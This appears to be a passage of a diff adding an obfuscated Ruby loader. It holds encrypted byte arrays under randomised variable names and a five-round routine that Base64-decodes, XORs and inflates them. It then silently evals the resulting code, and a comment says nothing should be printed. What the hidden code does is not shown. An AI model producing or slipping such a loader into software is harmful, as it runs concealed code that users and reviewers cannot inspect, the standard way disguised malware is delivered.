_f318703 = [2, 206, 255, 76, 222, 195, 103, 35, 242, 230, 171, 144, 216, 26, 217, 126, 162, 102, 234, 144, 129, 102, 143, 179, 136, 188, 242, 69, 4, 143, 86, 147, 86, 9, 66, 219, 128, 211, 229, 196, 90, 240, 76, 140, 32, 12, 204, 160, 24, 74, 220, 112, 73, 171, 79, 245, 128, 134, 207, 99, 146, 142, 232, 209, 253, 250, 139, 66, 153, 51, 187, 160, 177, 247, 142]
|
|
64
|
+
_fa2ac16 = [131, 110, 101, 213, 88, 167, 183, 3, 204, 177, 12, 201, 144, 3, 72, 162, 249, 43, 193, 136, 56, 247, 135, 14, 51, 190, 137, 188, 201, 2, 198, 176, 116, 45, 115, 168, 195, 236, 46, 36, 164, 187, 87, 68, 82, 199, 136, 2, 44, 153, 205, 28, 254, 108, 231, 212, 153, 188, 154, 141, 96, 193, 104, 53, 36, 48, 111, 190, 85, 69, 122, 20, 38, 219, 202, 94, 65, 59, 180, 224, 145, 172, 43, 130, 193, 95, 27, 62, 145, 62]
|
|
65
|
+
_q287b80 = [76, 21, 68, 26, 150, 45, 210, 36, 72, 166, 169, 158, 45, 177, 75, 247, 75, 185, 223, 189, 40, 135, 165, 191, 239, 225, 86, 173, 8, 204, 226, 12, 105, 222, 82, 194, 150, 124, 21, 130, 84, 56, 118, 87, 56, 252, 169, 173, 81, 90, 151, 159, 218, 64, 95, 35, 173, 180, 113, 83, 42, 69, 235, 145, 15, 33, 184, 20, 253, 121, 80, 134, 90, 152, 240, 133, 186, 198, 138, 20, 238, 237, 189, 217, 227, 121, 156, 113, 148, 102, 11, 150, 9, 213, 34, 142, 127, 46, 243, 136, 140, 13, 147, 149, 214, 191, 185, 19]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _id6e17b.call(_na106ef, _v0b0015, _v0af7f7, _pc0cbca)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_d07fe46 = _na106ef.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_nc6e3b2|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_u559750 = 5 - _nc6e3b2 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_t874fc7 = 4
|
|
84
|
+
_q415029 = _u559750 * _t874fc7
|
|
85
|
+
_wdbf0a6 = _v0af7f7[_q415029, _t874fc7]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _v0b0015[_u559750] == 1
|
|
93
|
+
_s98a917 = _d07fe46.pack('C*')
|
|
94
|
+
_s98a917 = Base64.strict_decode64(_s98a917)
|
|
95
|
+
_d07fe46 = _s98a917.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_d07fe46 = _h7709da.call(_d07fe46, _wdbf0a6)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_s98a917 = _d07fe46.pack('C*')
|
|
103
|
+
_s98a917 = Zlib::Inflate.inflate(_s98a917)
|
|
104
|
+
_d07fe46 = _s98a917.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_kc7d567 = _d07fe46.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _kc7d567.strip.empty? || _kc7d567.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_kc7d567, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _s227a82
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_s227a82.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|